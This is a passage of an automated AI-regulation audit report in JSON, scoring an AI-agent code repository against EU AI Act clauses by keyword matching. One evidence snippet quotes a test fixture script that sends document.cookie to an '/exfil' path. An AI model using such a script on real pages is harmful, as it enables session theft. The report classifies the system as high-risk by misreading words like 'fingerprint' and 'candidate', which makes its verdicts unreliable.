ScaffoldInp","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/orchestrator.rs","lines":[17,17],"snippet":"ArcheologyTarget, Diagnosis, DiagnosisVerdict, Finding, TriageDecision, }; use super::checkpoint::{ build_checkpoint, find_latest_chec","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/orchestrator.rs","lines":[76,76],"snippet":"nessReport, pub diagnosis: Diagnosis, /// Non-empty when Diagnose = Salvageable (Reconcile) or /// StaleBeyondSalvage / NoDocs (","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/orchestrator.rs","lines":[76,76],"snippet":"pub diagnosis: Diagnosis, /// Non-empty when Diagnose = Salvageable (Reconcile) or /// StaleBeyondSalvage / NoDocs (Scaffold).","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/orchestrator.rs","lines":[132,132],"snippet":"agnose. let diagnosis = self.diagnose(&excavation, &staleness).await?; // Stage 4 — branch on verdict. let (finding","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/orchestrator.rs","lines":[135,135],"snippet":"s, handoff) = match diagnosis.verdict { DiagnosisVerdict::Salvageable => { let f = self .rec","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/scaffold.rs","lines":[19,19],"snippet":"ArcheologyTarget, Diagnosis, Finding, FindingAction, FindingSeverity, FindingSourceStage, GoalAlignment, }; use super::date::Staleness","rule":"health_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/scaffold.rs","lines":[46,46],"snippet":"nessReport, pub diagnosis: &'a Diagnosis, pub project: &'a ProjectContext, } #[derive(Debug, Clone, Deserialize, Serialize, Partial","rule":"health_terms"}]},"employment_signals":{"signal":"employment_signals","fired":true,"strength":1,"evidence":[{"file":"config/agents/fit-analyst.toml","lines":[2,2],"snippet":"= \"Assess whether a candidate fits the user's saved preferences and past decisions\" active_version = \"v1\" required_capabilities = [\"archive.","rule":"employment_terms"},{"file":"config/agents/fit-analyst.toml","lines":[12,12],"snippet":"to check how well a candidate matches \\ the user's personal priorities, preferences, and past decisions — which live in \\ the Archive as per","rule":"employment_terms"},{"file":"config/agents/fit-analyst.toml","lines":[14,14],"snippet":"ialists analyze the candidate in \\ isolation; you connect it to the user's context. ## Your tools - **recall**: retrieve BOTH the candidat","rule":"employment_terms"},{"file":"config/agents/fit-analyst.toml","lines":[19,19],"snippet":": retrieve BOTH the candidate entry AND the user's personal \\ notes / preferences / past decisions. The Archive is sandboxed — \\ `recall","rule":"employment_terms"},{"file":"config/agents/fit-analyst.toml","lines":[29,29],"snippet":"flow 1. Recall the candidate (pass its archive id as the query, or its name). 2. Recall the user's context — try queries like \"preferences\"","rule":"employment_terms"},{"file":"config/agents/orchestrator.toml","lines":[34,34],"snippet":"e. You do NOT read candidate archive entries yourself. Each specialist recalls \\ its own material, writes its findings into a NEW archive e","rule":"employment_terms"},{"file":"config/agents/orchestrator.toml","lines":[48,48],"snippet":"uation 1. For EACH candidate under evaluation, dispatch every analysis specialist \\ relevant to the evaluation — read the auto-generated","rule":"employment_terms"},{"file":"config/agents/orchestrator.toml","lines":[76,76],"snippet":"t contain: - Per candidate: summary, key findings from each specialist, risks. - A side-by-side comparison matrix if multiple candidat","rule":"employment_terms"},{"file":"config/agents/orchestrator.toml","lines":[78,78],"snippet":"recommendation per candidate with rationale. 4. Emit the `done` wrapper with a short final summary pointing at the memo. ## Rules - DO NO","rule":"employment_terms"},{"file":"config/agents/orchestrator.toml","lines":[84,84],"snippet":"specialist ONCE per candidate. If you have already dispatched \\ a specialist for a candidate, do NOT repeat. - DO NOT dispatch the inquisi","rule":"employment_terms"},{"file":"config/agents/risk-adversary.toml","lines":[2,2],"snippet":"against adopting a candidate, surfaces worst-case outcomes\" active_version = \"v1\" required_capabilities = [\"archive.read\", \"archive.write\"]","rule":"employment_terms"},{"file":"config/agents/risk-adversary.toml","lines":[13,13],"snippet":"rying to assess the candidate fairly; YOUR job is to \\ argue AGAINST adoption. Make the strongest possible case that this is a bad \\ idea.","rule":"employment_terms"},{"file":"config/agents/risk-adversary.toml","lines":[19,19],"snippet":"all**: retrieve the candidate and any signals of historical problems or \\ red flags. The Archive is sandboxed — `recall` is your only way","rule":"employment_terms"},{"file":"config/agents/risk-adversary.toml","lines":[32,32],"snippet":"d** — what does the candidate assume about \\ scale, trust, data, team skills? 4. **Missed alternatives** — is there a simpler solution th","rule":"employment_terms"},{"file":"config/agents/risk-adversary.toml","lines":[41,41],"snippet":"flow 1. Recall the candidate (one or two queries to get the full content). 2. Write your anti-case as a single `archive` call with: - `t","rule":"employment_terms"},{"file":"crates/symbiotic-agent-runner/src/lib.rs","lines":[1257,1257],"snippet":"let candidate = &text[s..=i]; if serde_json::from_str::<serde_json::Value>(candidate).is_ok() {","rule":"employment_terms"},{"file":"crates/symbiotic-agent-runner/src/lib.rs","lines":[1258,1258],"snippet":"<serde_json::Value>(candidate).is_ok() { return Some(candidate); } }","rule":"employment_terms"},{"file":"crates/symbiotic-agent-runner/src/lib.rs","lines":[1259,1259],"snippet":"return Some(candidate); } } start = None; } } } Non","rule":"employment_terms"},{"file":"crates/symbiotic-agent-runner/src/tools/workspace.rs","lines":[50,50],"snippet":")); } let candidate = root.join(relative); let resolved = candidate .canonicalize() .or_else(|_| {","rule":"employment_terms"},{"file":"crates/symbiotic-agent-runner/src/tools/workspace.rs","lines":[51,51],"snippet":"let resolved = candidate .canonicalize() .or_else(|_| { // File might not exist yet (for writes). Canonical","rule":"employment_terms"},{"file":"crates/symbiotic-agent-runner/src/tools/workspace.rs","lines":[55,55],"snippet":"let Some(parent) = candidate.parent() { std::fs::create_dir_all(parent).ok(); parent .c","rule":"employment_terms"},{"file":"crates/symbiotic-agent-runner/src/tools/workspace.rs","lines":[59,59],"snippet":".map(|p| p.join(candidate.file_name().unwrap_or_default())) } else { Err(std::io::Error::new(","rule":"employment_terms"},{"file":"crates/symbiotic-agents/src/action_dispatch.rs","lines":[121,121],"snippet":"start, stop, pause, resume, advance phase). /// /// The daemon implements this by writing to goal_state.tsv, updating the /// GoalProcessMan","rule":"employment_terms"},{"file":"crates/symbiotic-agents/src/action_dispatch.rs","lines":[139,139],"snippet":"t<String>; /// Resume a paused goal. Should transition to active and re-allocate /// agent slots. async fn resume_goal(&self, s","rule":"employment_terms"},{"file":"crates/symbiotic-agents/src/action_dispatch.rs","lines":[522,522],"snippet":"!(\"subsystem error: resume failed\")) } async fn advance_phase(&self, _slug: &str, _from: &str, _to: &str) -> Result<String>","rule":"employment_terms"}]},"bio_metric_signals":{"signal":"bio_metric_signals","fired":true,"strength":0.8921795685513096,"evidence":[{"file":"crates/symbiotic-agents/src/source_archeology/excavate.rs","lines":[53,53],"snippet":"/// Build system fingerprint. BuildSystem, /// CI configuration. CiConfig, /// Test-command wiring — docs referenced a sc","rule":"biometric_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/excavate.rs","lines":[136,136],"snippet":"ass 3: build-system fingerprint. for manifest in [ \"Cargo.toml\", \"package.json\", \"pyproject.toml\", \"go.m","rule":"biometric_terms"},{"file":"crates/symbiotic-memory/src/tool_memory.rs","lines":[33,33],"snippet":"ize, /// Stable fingerprint of the agent identity for correlation/provenance. #[serde(default)] pub agent_fingerprint: String,","rule":"biometric_terms"},{"file":"crates/symbiotic-mobile-core/src/escrow.rs","lines":[11,11],"snippet":"MESC2\" (7 bytes) || fingerprint (8 bytes) || salt (32 bytes) || nonce (24 bytes) || ciphertext+tag (variable) //! ``` //! //! This mirrors t","rule":"biometric_terms"},{"file":"crates/symbiotic-mobile-core/src/escrow.rs","lines":[137,137],"snippet":")?; // Compute fingerprint of the secret data for integrity checking. let fingerprint = compute_fingerprint(secret_data); // G","rule":"biometric_terms"},{"file":"crates/symbiotic-mobile-core/src/escrow.rs","lines":[138,138],"snippet":"y checking. let fingerprint = compute_fingerprint(secret_data); // Generate random salt and nonce. let mut salt = [0u8; SALT_LE","rule":"biometric_terms"},{"file":"crates/symbiotic-mobile-core/src/escrow.rs","lines":[157,157],"snippet":"e blob: magic_v2 || fingerprint || salt || nonce || ciphertext+tag let mut blob = Vec::with_capacity(HEADER_V2_LEN + ciphertext.len());","rule":"biometric_terms"},{"file":"crates/symbiotic-mobile-core/src/escrow.rs","lines":[160,160],"snippet":".extend_from_slice(&fingerprint); blob.extend_from_slice(&salt); blob.extend_from_slice(&nonce_bytes); blob.extend_from_slice(&c","rule":"biometric_terms"},{"file":"crates/symbiotic-skills/src/detector.rs","lines":[9,9],"snippet":"ns::HashMap; /// A fingerprint of a problem the agent encountered. #[derive(Debug, Clone)] pub struct ProblemSignature { /// Category o","rule":"biometric_terms"},{"file":"crates/symbiotic-vault-store/src/escrow.rs","lines":[18,18],"snippet":"MESC2\" (7 bytes) || fingerprint (8 bytes) || salt (32 bytes) || nonce (24 bytes) || ciphertext+tag (variable) //! ``` //! //! The fingerprin","rule":"biometric_terms"},{"file":"crates/symbiotic-vault-store/src/escrow.rs","lines":[21,21],"snippet":"//! ``` //! //! The fingerprint is `SHA-256(pubkey_string)[0..8]` and enables pre-flight //! detection of \"wrong blob\" vs \"wrong passphrase\"","rule":"biometric_terms"},{"file":"crates/symbiotic-vault-store/src/escrow.rs","lines":[34,34],"snippet":"blob format (v1, no fingerprint). const MAGIC_V1: &[u8; 7] = b\"SYMESC1\"; /// Magic bytes identifying the current escrow blob format (v2, wi","rule":"biometric_terms"},{"file":"crates/symbiotic-vault-store/src/escrow.rs","lines":[37,37],"snippet":"ob format (v2, with fingerprint). const MAGIC_V2: &[u8; 7] = b\"SYMESC2\"; /// Length of the magic header bytes. const MAGIC_LEN: usize = 7;","rule":"biometric_terms"},{"file":"crates/symbiotic-vault-store/src/escrow.rs","lines":[43,43],"snippet":"ength of the pubkey fingerprint in bytes (truncated SHA-256). const FINGERPRINT_LEN: usize = 8; /// Length of the Argon2id salt in bytes. c","rule":"biometric_terms"},{"file":"crates/symbiotic-vault-store/tests/rotation_integration.rs","lines":[248,248],"snippet":"blob detection (V2 fingerprint) // --------------------------------------------------------------------------- #[test] fn wrong_blob_detec","rule":"biometric_terms"},{"file":"crates/symbiotic-vault-store/tests/rotation_integration.rs","lines":[260,260],"snippet":"p(); // Verify fingerprint matches identity_a but not identity_b assert!(verify_escrow_fingerprint(&blob_a, &identity_a)); asse","rule":"biometric_terms"},{"file":"crates/symbiotic-vault-store/tests/rotation_integration.rs","lines":[305,305],"snippet":"SYMESC2\")); // Fingerprint should still match original identity assert!(verify_escrow_fingerprint(&new_blob, &identity)); let","rule":"biometric_terms"}]},"education_signals":{"signal":"education_signals","fired":false,"strength":0,"evidence":[]},"law_enforcement_signals":{"signal":"law_enforcement_signals","fired":false,"strength":0,"evidence":[]},"migration_signals":{"signal":"migration_signals","fired":false,"strength":0,"evidence":[]},"justice_signals":{"signal":"justice_signals","fired":false,"strength":0,"evidence":[]},"essential_services_signals":{"signal":"essential_services_signals","fired":false,"strength":0,"evidence":[]},"critical_infra_signals":{"signal":"critical_infra_signals","fired":false,"strength":0,"evidence":[]},"content_generation_signals":{"signal":"content_generation_signals","fired":true,"strength":0.9446911344070372,"evidence":[{"file":"config/providers.toml","lines":[17,17],"snippet":"mbedding-3-small\", \"dall-e-3\"] [providers.anthropic] class = \"cloud\" type = \"anthropic\" models = [\"claude-sonnet-4-20250514\"] [providers.o","rule":"content_gen_pattern"},{"file":"config/providers.toml","lines":[38,38],"snippet":"d\" capabilities = [\"video_generation\", \"image_generation\"] [providers.nanobanana] class = \"cloud\" capabilities = [\"image_generation\"] [pro","rule":"content_gen_pattern"},{"file":"config/providers.toml","lines":[38,38],"snippet":"video_generation\", \"image_generation\"] [providers.nanobanana] class = \"cloud\" capabilities = [\"image_generation\"] [providers.runway] class","rule":"content_gen_pattern"},{"file":"config/providers.toml","lines":[42,42],"snippet":"d\" capabilities = [\"image_generation\"] [providers.runway] class = \"cloud\" capabilities = [\"video_generation\"] [providers.flux] class = \"cl","rule":"content_gen_pattern"},{"file":"config/providers.toml","lines":[46,46],"snippet":"d\" capabilities = [\"video_generation\"] [providers.flux] class = \"cloud\" url = \"https://fal.run\" capabilities = [\"image_generation\"] [provi","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/config.rs","lines":[121,121],"snippet":"mbedding-3-small\", \"dall-e-3\"] [providers.openrouter] class = \"aggregator\" type = \"openai-compat\" url = \"https://openrouter.ai/api/v1\" mode","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/config.rs","lines":[215,215],"snippet":"d\" capabilities = [\"video_generation\", \"image_generation\"] \"#; let config: ProvidersConfig = toml::from_str(toml).unwrap();","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/config.rs","lines":[215,215],"snippet":"video_generation\", \"image_generation\"] \"#; let config: ProvidersConfig = toml::from_str(toml).unwrap(); let caps = config.pr","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/mod.rs","lines":[3,3],"snippet":"AiImageProvider`] — DALL-E 3 via the OpenAI API (fully implemented). //! - [`StubImageProvider`] — placeholder for Flux, Stable Diffusion, n","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/mod.rs","lines":[4,4],"snippet":"fusion, nanobanana, Midjourney. pub mod openai; pub mod stub; pub use openai::OpenAiImageProvider; pub use stub::StubImageProvider;","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/openai.rs","lines":[1,1],"snippet":"//! OpenAI DALL-E image generation provider. //! //! Implements [`ImageProvider`] against the OpenAI images/generations API. //! Us","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/openai.rs","lines":[4,4],"snippet":"tions API. //! Uses DALL-E 3 by default. use async_trait::async_trait; use serde::Deserialize; use crate::{ CapabilitySet, GeneratedIm","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/openai.rs","lines":[14,14],"snippet":"ror, }; /// OpenAI DALL-E image generation provider. /// /// Makes real HTTP calls to `https://api.openai.com/v1/images/generations`. pub s","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/openai.rs","lines":[40,40],"snippet":"/// Defaults to DALL-E 3 with pricing of $0.04 per image (1024x1024 standard). pub fn new(auth: ProviderAuth) -> Self { Self","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/openai.rs","lines":[45,45],"snippet":"model: \"dall-e-3\".to_string(), capabilities: CapabilitySet::new(vec![ProviderCapability::ImageGeneration]),","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/stub.rs","lines":[16,16],"snippet":"on, nanobanana, /// Midjourney) in the provider registry before their APIs are integrated. pub struct StubImageProvider { name: String,","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/stub.rs","lines":[50,50],"snippet":"(local). pub fn stable_diffusion() -> Self { Self::new(\"stable-diffusion\", ProviderClass::Local, \"sd-xl\") } /// Stub fo","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/stub.rs","lines":[51,51],"snippet":"Self::new(\"stable-diffusion\", ProviderClass::Local, \"sd-xl\") } /// Stub for Midjourney (cloud). pub fn midjourney() ->","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/stub.rs","lines":[54,54],"snippet":"} /// Stub for Midjourney (cloud). pub fn midjourney() -> Self { Self::new(\"midjourney\", ProviderClass::Cloud, \"midjourney-","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/image/stub.rs","lines":[55,55],"snippet":"(cloud). pub fn midjourney() -> Self { Self::new(\"midjourney\", ProviderClass::Cloud, \"midjourney-v6\") } } impl ModelProvide","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/routing.rs","lines":[206,206],"snippet":"s. pub async fn generate_image( &self, request: &ImageRequest, sensitivity: Sensitivity, ) -> Result<ImageRe","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/routing.rs","lines":[232,232],"snippet":"provider.generate_image(request).await }) .await { Ok(response) => re","rule":"content_gen_pattern"},{"file":"crates/symbiotic-providers/src/traits.rs","lines":[71,71],"snippet":"quest. async fn generate_image(&self, request: &ImageRequest) -> Result<ImageResponse, ProviderError>; } /// Provider that can generate","rule":"content_gen_pattern"}]},"emotion_recognition_signals":{"signal":"emotion_recognition_signals","fired":false,"strength":0,"evidence":[]}}},"scope":{"regulationIds":["eu-ai-act-2024-08","nist-ai-rmf-1.0","gdpr-2016","iso-42001-2023"],"notes":["Auditing against packs: eu-ai-act-2024-08, nist-ai-rmf-1.0, gdpr-2016, iso-42001-2023"]},"map":{"classification":"high","annexIiiCategories":["1","4"],"art50Triggers":["50(2)"],"drivingSignals":[{"signal":"bio_metric_signals","category":"1"},{"signal":"employment_signals","category":"4"}],"rationale":["Classified HIGH-RISK based on 2 Annex III signal(s).","Annex III §1 (Biometric ID, categorisation, emotion recognition) — signal \"bio_metric_signals\" fired with strength 0.89","Annex III §4 (Employment, workers management, access to self-employment) — signal \"employment_signals\" fired with strength 1.00","Art 50 50(2) (AI-generated synthetic content) — signal \"content_generation_signals\" fired"]},"checks":[{"clauseId":"eu-ai-act/art-5/1a-subliminal","regulationId":"eu-ai-act-2024-08","article":"5(1)(a)","title":"Subliminal techniques distorting behaviour","principle":"transparency","verdict":"pass","score":4,"rawScore":0,"evidence":[],"rules":[{"rule":"detect_manipulative_prompt_patterns","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched).","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-5/1b-vulnerability","regulationId":"eu-ai-act-2024-08","article":"5(1)(b)","title":"Exploiting vulnerabilities (age, disability, socio-economic)","principle":"fairness","verdict":"pass","score":4,"rawScore":0,"evidence":[],"rules":[{"rule":"detect_protected_attribute_targeting","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched).","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-5/1c-social-scoring","regulationId":"eu-ai-act-2024-08","article":"5(1)(c)","title":"Social scoring leading to detrimental treatment","principle":"fairness","verdict":"pass","score":4,"rawScore":0,"evidence":[],"rules":[{"rule":"detect_scoring_with_persistent_user_state","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched). Supporting docs may exist outside the repo.","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-5/1d-predictive-policing","regulationId":"eu-ai-act-2024-08","article":"5(1)(d)","title":"Predictive policing solely from profiling","principle":"fairness","verdict":"pass","score":4,"rawScore":0,"evidence":[],"rules":[{"rule":"detect_crime_risk_scoring_from_profile","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched).","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-5/1e-facial-scraping","regulationId":"eu-ai-act-2024-08","article":"5(1)(e)","title":"Untargeted facial image scraping for face databases","principle":"privacy","verdict":"fail","score":0,"rawScore":1,"evidence":[{"file":"crates/symbiotic-agents/src/source_archeology/excavate.rs","lines":[53,53],"snippet":"/// Build system fingerprint. BuildSystem, /// CI configuration. CiConfig, /// Test-command wiring — docs referenced a sc","rule":"biometric_terms"},{"file":"crates/symbiotic-agents/src/source_archeology/excavate.rs","lines":[136,136],"snippet":"ass 3: build-system fingerprint. for manifest in [ \"Cargo.toml\", \"package.json\", \"pyproject.toml\", \"go.m","rule":"biometric_terms"},{"file":"crates/symbiotic-memory/src/tool_memory.rs","lines":[33,33],"snippet":"ize, /// Stable fingerprint of the agent identity for correlation/provenance. #[serde(default)] pub agent_fingerprint: String,","rule":"biometric_terms"},{"file":"scripts/auth/_generic.ts","lines":[11,11],"snippet":"omium, Page } from 'playwright'; interface ScriptInput { domain: string; username: string; password: string; totp_code?: string; }","rule":"scraping_pattern"},{"file":"scripts/auth/github.com.ts","lines":[10,10],"snippet":"{ chromium } from 'playwright'; interface ScriptInput { domain: string; username: string; password: string; totp_code?: string; }","rule":"scraping_pattern"},{"file":"scripts/auth/google.com.ts","lines":[15,15],"snippet":"omium, Page } from 'playwright'; interface ScriptInput { domain: string; username: string; password: string; totp_code?: string; }","rule":"scraping_pattern"}],"rules":[{"rule":"detect_face_image_scraping","matched":1,"weight":1}],"rationale":"Composite raw score 1.00 (1/1 rules matched).","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-5/1f-emotion-workplace-edu","regulationId":"eu-ai-act-2024-08","article":"5(1)(f)","title":"Emotion recognition in workplace and education","principle":"privacy","verdict":"pass","score":4,"rawScore":0,"evidence":[],"rules":[{"rule":"detect_emotion_recognition_in_workplace_education","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched).","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-5/1g-biometric-categorisation","regulationId":"eu-ai-act-2024-08","article":"5(1)(g)","title":"Biometric categorisation by protected attributes","principle":"fairness","verdict":"pass","score":4,"rawScore":0,"evidence":[],"rules":[{"rule":"detect_biometric_categorisation_by_protected_attrs","matched":0,"weight":1}],"rationale":"Composite raw score 0.00 (0/1 rules matched).","confidence":0.55,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-5/1h-realtime-rbi","regulationId":"eu-ai-act-2024-08","article":"5(1)(h)","title":"Real-time remote biometric identification in public spaces","principle":"privacy","verdict":"external","score":null,"rawScore":null,"evidence":[],"rules":[],"rationale":"Deployment context (public space, real-time, law enforcement use, judicial\nauthorisation) is operational, not knowable from code. Always external.","confidence":1,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-9/risk-management","regulationId":"eu-ai-act-2024-08","article":"9","title":"Risk management system established, implemented, documented","principle":"safety","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"presence_of_risk_register","matched":0,"weight":0.4},{"rule":"presence_of_threat_model","matched":0,"weight":0.3},{"rule":"ci_eval_gates","matched":0,"weight":0.3}],"rationale":"Composite raw score 0.00 (0/3 rules matched). Supporting docs may exist outside the repo.","confidence":0.65,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-10/data-governance","regulationId":"eu-ai-act-2024-08","article":"10","title":"Data and data governance practices documented","principle":"privacy","verdict":"fail","score":0,"rawScore":0.1,"evidence":[{"file":"crates/symbiotic-firewall/tests/fixtures/stage_a_fail/script_tag.html","lines":[1,1],"snippet":"<p>Hello</p><script>fetch('/exfil?'+document.cookie)</script></body></html>","rule":"http_external_io"},{"file":"crates/symbiotic-intake/src/lib.rs","lines":[114,114],"snippet":"end + Sync { fn fetch(&self, url: &Url) -> Result<FetchedContent>; } pub trait IntakeStore: Send + Sync { fn exists(&self, idempote","rule":"http_external_io"}],"rules":[{"rule":"presence_of_data_card","matched":0,"weight":0.5},{"rule":"data_loading_code_quality","matched":0.4,"weight":0.25},{"rule":"bias_evaluation_present","matched":0,"weight":0.25}],"rationale":"Composite raw score 0.10 (0/3 rules matched). Supporting docs may exist outside the repo.","confidence":0.75,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-11/technical-documentation","regulationId":"eu-ai-act-2024-08","article":"11","title":"Technical documentation drawn up before placing on market","principle":"auditability","verdict":"fail","score":0,"rawScore":0.075,"evidence":[{"file":"README.md","rule":"readme_quality","detail":"1 required sections present"}],"rules":[{"rule":"presence_of_model_card","matched":0,"weight":0.5},{"rule":"readme_quality","matched":0.25,"weight":0.3},{"rule":"architecture_docs","matched":0,"weight":0.2}],"rationale":"Composite raw score 0.07 (0/3 rules matched). Supporting docs may exist outside the repo.","confidence":0.725,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-12/p1-automatic-logs","regulationId":"eu-ai-act-2024-08","article":"12(1)","title":"Automatic recording of events over the lifetime","principle":"auditability","verdict":"fail","score":1,"rawScore":0.34020599913279626,"evidence":[{"file":"scripts/auth/test-server/server.ts","lines":[121,121],"snippet":"e server is ready console.log(`READY:${port}`); });","rule":"log_at_tool_boundary"},{"file":"services/credential-gateway/src/script_registry.rs","lines":[353,353],"snippet":"::fs::write(&path, \"console.log('ok')\\n\").expect(\"write script\"); let mut reg = ScriptRegistry::empty(); reg.register(\"gith","rule":"log_at_tool_boundary"},{"file":"scripts/auth/test-server/server.ts","lines":[121,121],"snippet":"e server is ready console.log(`READY:${port}`); });","rule":"log_at_tool_boundary"},{"file":"services/credential-gateway/src/script_registry.rs","lines":[353,353],"snippet":"::fs::write(&path, \"console.log('ok')\\n\").expect(\"write script\"); let mut reg = ScriptRegistry::empty(); reg.register(\"gith","rule":"log_at_tool_boundary"}],"rules":[{"rule":"structured_logging_imported","matched":0,"weight":0.3},{"rule":"logging_at_tool_call_boundaries","matched":0.5204119982655925,"weight":0.5},{"rule":"logging_persistent_sink","matched":0.4,"weight":0.2}],"rationale":"Composite raw score 0.34 (1/3 rules matched).","confidence":0.9902059991327963,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"eu-ai-act/art-12/p2-traceability","regulationId":"eu-ai-act-2024-08","article":"12(2)","title":"Logging ensures traceability appropriate to risk","principle":"auditability","verdict":"partial","score":2,"rawScore":0.43520599913279623,"evidence":[{"file":"scripts/auth/test-server/server.ts","lines":[121,121],"snippet":"e server is ready console.log(`READY:${port}`); });","rule":"log_at_tool_boundary"},{"file":"services/credential-gateway/src/script_registry.rs","lines":[353,353],"snippet":"::fs::write(&path, \"console.log('ok')\\n\").expect(\"write script\"); let mut reg = ScriptRegistry::empty(); reg.register(\"gith","rule":"log_at_tool_boundary"},{"file":"scripts/auth/test-server/server.ts","lines":[121,121],"snippet":"e server is ready console.log(`READY:${port}`); });","rule":"log_at_tool_boundary"},{"file":"services/credential-gateway/src/script_registry.rs","lines":[353,353],"snippet":"::fs::write(&path, \"console.log('ok')\\n\").expect(\"write script\"); let mut reg = ScriptRegistry::empty(); reg.register(\"gith","rule":"log_at_tool_boundary"}],"rules":[{"rule":"logs_include_input_output_pairs","matched":0.5204119982655925,"weight":0.5},{"rule":"logs_include_model_identity","matched":0.7,"weight":0.25},{"rule":"logs_include_request_id","matched":0,"weight":0.25}],"rationale":"Composite raw score 0.44 (2/3 rules matched). Supporting docs may exist outside the repo.","confidence":1,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"eu-ai-act/art-13/deployer-instructions","regulationId":"eu-ai-act-2024-08","article":"13","title":"Transparent operation and instructions for use","principle":"transparency","verdict":"fail","score":0,"rawScore":0.125,"evidence":[{"file":"README.md","rule":"readme_quality","detail":"1 required sections present"},{"file":"README.md","rule":"output_interpretation_guidance"},{"file":"README.md","rule":"limitations_section_present"}],"rules":[{"rule":"presence_of_deployer_instructions","matched":0.25,"weight":0.5},{"rule":"output_interpretation_guidance","matched":0,"weight":0.3},{"rule":"limitations_section_present","matched":0,"weight":0.2}],"rationale":"Composite raw score 0.13 (0/3 rules matched). Supporting docs may exist outside the repo.","confidence":0.775,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-14/p1-oversight-measures","regulationId":"eu-ai-act-2024-08","article":"14(1)","title":"Effective human oversight designed and built-in","principle":"human-oversight","verdict":"fail","score":0,"rawScore":0,"evidence":[],"rules":[{"rule":"human_in_loop_hooks_present","matched":0,"weight":0.5},{"rule":"oversight_ui_present","matched":0,"weight":0.3},{"rule":"tool_calls_have_dry_run","matched":0,"weight":0.2}],"rationale":"Composite raw score 0.00 (0/3 rules matched).","confidence":0.65,"needsLlmJudge":false,"verified":true,"verifyMethod":"deterministic-only"},{"clauseId":"eu-ai-act/art-14/p4d-stop-button","regulationId":"eu-ai-act-2024-08","article":"14(4)(d)","title":"Interrupt / stop function reachable by overseer","principle":"human-oversight","verdict":"partial","score":2,"rawScore":0.63,"evidence":[{"file":"scripts/live-readiness.sh","lines":[98,98],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"kill_switch"},{"file":"scripts/live-readiness.sh","lines":[103,103],"snippet":"print(\"\") raise SystemExit(0) value = data for part in field.split('.'): if isinstance(value, dict): value = value.get(part)","rule":"kill_switch"},{"file":"scripts/smoke-mvp.sh","lines":[20,20],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"kill_switch"},{"file":"scripts/smoke-mvp.sh","lines":[25,25],"snippet":"print(\"\") raise SystemExit(0) value = data for part in sys.argv[1].split('.'): if isinstance(value, dict): value = value.get","rule":"kill_switch"}],"rules":[{"rule":"kill_switch_present","matched":0.9,"weight":0.7},{"rule":"graceful_shutdown_handler","matched":0,"weight":0.3}],"rationale":"Composite raw score 0.63 (1/2 rules matched).","confidence":0.97,"needsLlmJudge":true,"verified":true,"verifyMethod":"skipped"},{"clauseId":"eu-ai-act/art-14/p4e-override","regulationId":"eu-ai-act-2024-08","article":"14(4)(e)","title":"Ability to override / reverse the system's output","principle":"human-oversight","verdict":"partial","score":2,"rawScore":0.54,"evidence":[{"file":"scripts/live-readiness.sh","lines":[98,98],"snippet":"print(\"\") raise SystemExit(0) try: data = json.loads(payload) except Exception: print(\"\") raise SystemExit(0) value = data f","rule":"kill_switch"},{"file":"scripts/live-readiness.sh","lines":[103,103],"snippet":"print(\"\") raise SystemExit(0) 